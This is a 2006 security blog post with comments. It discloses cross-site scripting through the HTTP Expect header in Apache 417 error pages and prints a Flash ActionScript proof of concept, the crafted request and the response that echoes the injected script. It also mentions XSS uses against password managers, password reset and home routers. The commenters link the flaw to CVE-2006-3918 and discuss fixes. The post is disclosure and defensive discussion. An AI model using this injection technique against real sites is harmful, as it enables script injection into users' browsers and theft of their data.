XSSing with the expect header

I know that XSS is looked down upon by a lot of people in the security sphere but I feel XSS has been severely underestimated by a lot of people. Using it to steal cookies is really only the very start of it.

That’s besides the point, though I will post links to rarely used (or maybe just up and coming) uses for XSS later in this post.

Here’s HTTP Expect header as defined in the RFC:

The Expect request-header field is used to indicate that particular server behaviors are required by the client.

A server that does not understand or is unable to comply with any of the expectation values in the Expect field of a request MUST respond with appropriate error status. The server MUST respond with a 417 (Expectation Failed) status if any of the expectations cannot be met or, if there are other problems with the request, some other 4xx status.

This header field is defined with extensible syntax to allow for future extensions. If a server receives a request containing an Expect field that includes an expectation-extension that it does not support, it MUST respond with a 417 (Expectation Failed) status.

Now… how can we force a user to cause a request with the expect header in it? Well… you may know that flash can run actionscript. Action script has a function called addRequestHeader() which can add headers to a request. Now… we can force someone to use that header, how can this be used? Well… The error page given by apache will often contain the error on it (and it will cause an error because we’ll set something silly as the request value).

If we set <script>alert(‘xss’)</script> in the field then that’ll be echoed onto the page. Fast forward and we’ve got this code in a flash file:

//Credits to Amit Klein as he wrote this, I just decompiled it
inURL = this._url;
inPOS = inURL.lastIndexOf(“?”);
inParam = inURL.substring(inPOS + 1, inPOS.length);
req = new LoadVars();
req.addRequestHeader(“Expect”, “<script>alert(\’” + inParam + ” is vulnerable to the Expect Header vulnerability.\’);</script><script type=”text/javascript”>// < ![CDATA[
alert(\'" + inParam + " is vulnerable to the Expect Header vulnerability.\');
// ]]>“);
req.send(inParam, “_blank”, “POST”);

Now we can supply a querystring of say ?http://www.whiteacid.org to the script and this is the HTTP request the flash file created

GET / HTTP/1.1
Accept: */*
Accept-Language: en-gb
Content-Type: application/x-www-form-urlencoded
Expect: <script>alert(‘http://www.whiteacid.org is vulnerable to the Expect Header vulnerability.’);</script><script type=”text/javascript”>// < ![CDATA[
alert('http://www.whiteacid.org is vulnerable to the Expect Header vulnerability.');
// ]]>
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)
Host: www.whiteacid.org
Connection: Keep-Alive

Response:

HTTP/1.1 417 Expectation Failed
Date: Thu, 21 Sep 2006 20:44:52 GMT
Server: Apache/1.3.33 (Unix) mod_throttle/3.1.2 DAV/1.0.3 mod_fastcgi/2.4.2 mod_gzip/1.3.26.1a PHP/4.4.2 mod_ssl/2.8.22 OpenSSL/0.9.7e
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

1ba

<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<HTML><HEAD>
<TITLE>417 Expectation Failed</TITLE>
</HEAD><BODY>
<H1>Expectation Failed</H1>
The expectation given in the Expect request-header
field could not be met by this server.<P>
The client sent<PRE>
Expect: <script>alert(‘http://www.whiteacid.org is vulnerable to the Expect Header vulnerability.’);</script>
</PRE>
but we only allow the 100-continue expectation.
</BODY></HTML>

0

There you go, my site is vulnerable to this form of XSS (if the victim uses IE). What can be done? Everything that normal XSS can do including phishing and… well… everything.
As for fixing this (and yes… I will get around to that), I’m not too sure yet. I know I could create a custom error page but there may be better solutions, I’m asking RSnake about that and I’ll either comment here or just update this post if/when I get that info.

The reason this doesn’t work in firefox is because it doesn’t allow or support the Request header, I’m not sure which. Oh and you may be wondering how many sites are vulnerable to this. It’s lots. Lots and lots more, including beyondsecurity.com by the way.
As for other stuff XSS can be used for. I’ve managed to steal passwords by abusing the password manager browsers like users to use. LINK.

You can mix XSS and CSRF to abuse the forgotten password feature. LINK.

You can port scan the users localhost and potentially attack their router (old firmware for my router didn’t require the admin password to reboot it, so an XSSed site could detect what router I’m using and try to reboot it).

XSS is most certainly not to be underestimated. Even this article about how titled “Hackers Reveal Vulnerable Websites” is vulnerable to XSS (read the comments)
showing you that even those developers who are aware of this slip up occasionally.

Edit: I want to make this clear, credit for the flash goes to Amit Klein and a lot goes to RSnake at ha.ckers.org for showing this to me.

Share
  • http://blogs.securiteam.com/index.php/archives/author/mattmurphy/ Matthew Murphy

    So… did you just drop an Apache 0day on the blog? :-D

    Good stuff, dude.

  • http://www.whiteacid.org Sid

    I’m very sceptical about calling this an Apache 0day, though honestly I can’t see it being the browsers fault as it’s just doing what it’s told to do. Either way… I did email security@apache.org

  • sunshine

    Well, as you stated, this was made public LAST week with no attention, as you gave credit above. Also, you notified Apache security. Then you did amazing research and published it to the security community, you are still as whitehat as they come.

    When it’s public, it’s public, might as well start protecting ourselves.

    Matt, did we just 0day Apache on the blog?! :) Kidding, I am contacting someone at Apache on a secondary channel, too.

  • http://www.whiteacid.org Sid

    Reply from apache:
    Hi Sid; This was previously reported in May, see
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3918

    We fixed this by escaping the Expect error message in Apache HTTP Server
    1.3.35, 2.0.58, and 2.2.2. I notice that this isn’t mentioned on our
    vulnerbilities page, which we’ll correct tommorrow.

    Thanks for contacting us.

    Regards, Mark

    Well… That’s kinda killed my high, but still… now you all know. And now I know why my localhost wasn’t vulnerable.

  • http://hype-free.blogspot.com/ cdman83

    Hello. I describe a possbile mitigation my blog using mod_headers, using which you don’t have to create custom error pages.

  • metoyokapla

    Hello all, Hope you can assist on this issue. We have a vendor scan our Web servers and did a XSS test and found 417 error. We have IIS 5.0 i read the whole blog and we are in the same boat but different platform is there any resolution on IIS 5.0 on XSS insertion? Can someone forward me links for the resolutions? I do appreciate the help

  • drenx

    hope someone could assist me in fixing “HTTP/1.1 417 Expectation Failed” error.. i dont know how to do so..i cant enter the chat room.. chat room verification code always give that reply.. appreciate help..

  • http://www.linkslondonhut.com links

    hope someone could assist me in fixing “HTTP/1.1 417 Expectation Failed” error.. i dont know how to do so..i cant enter the chat room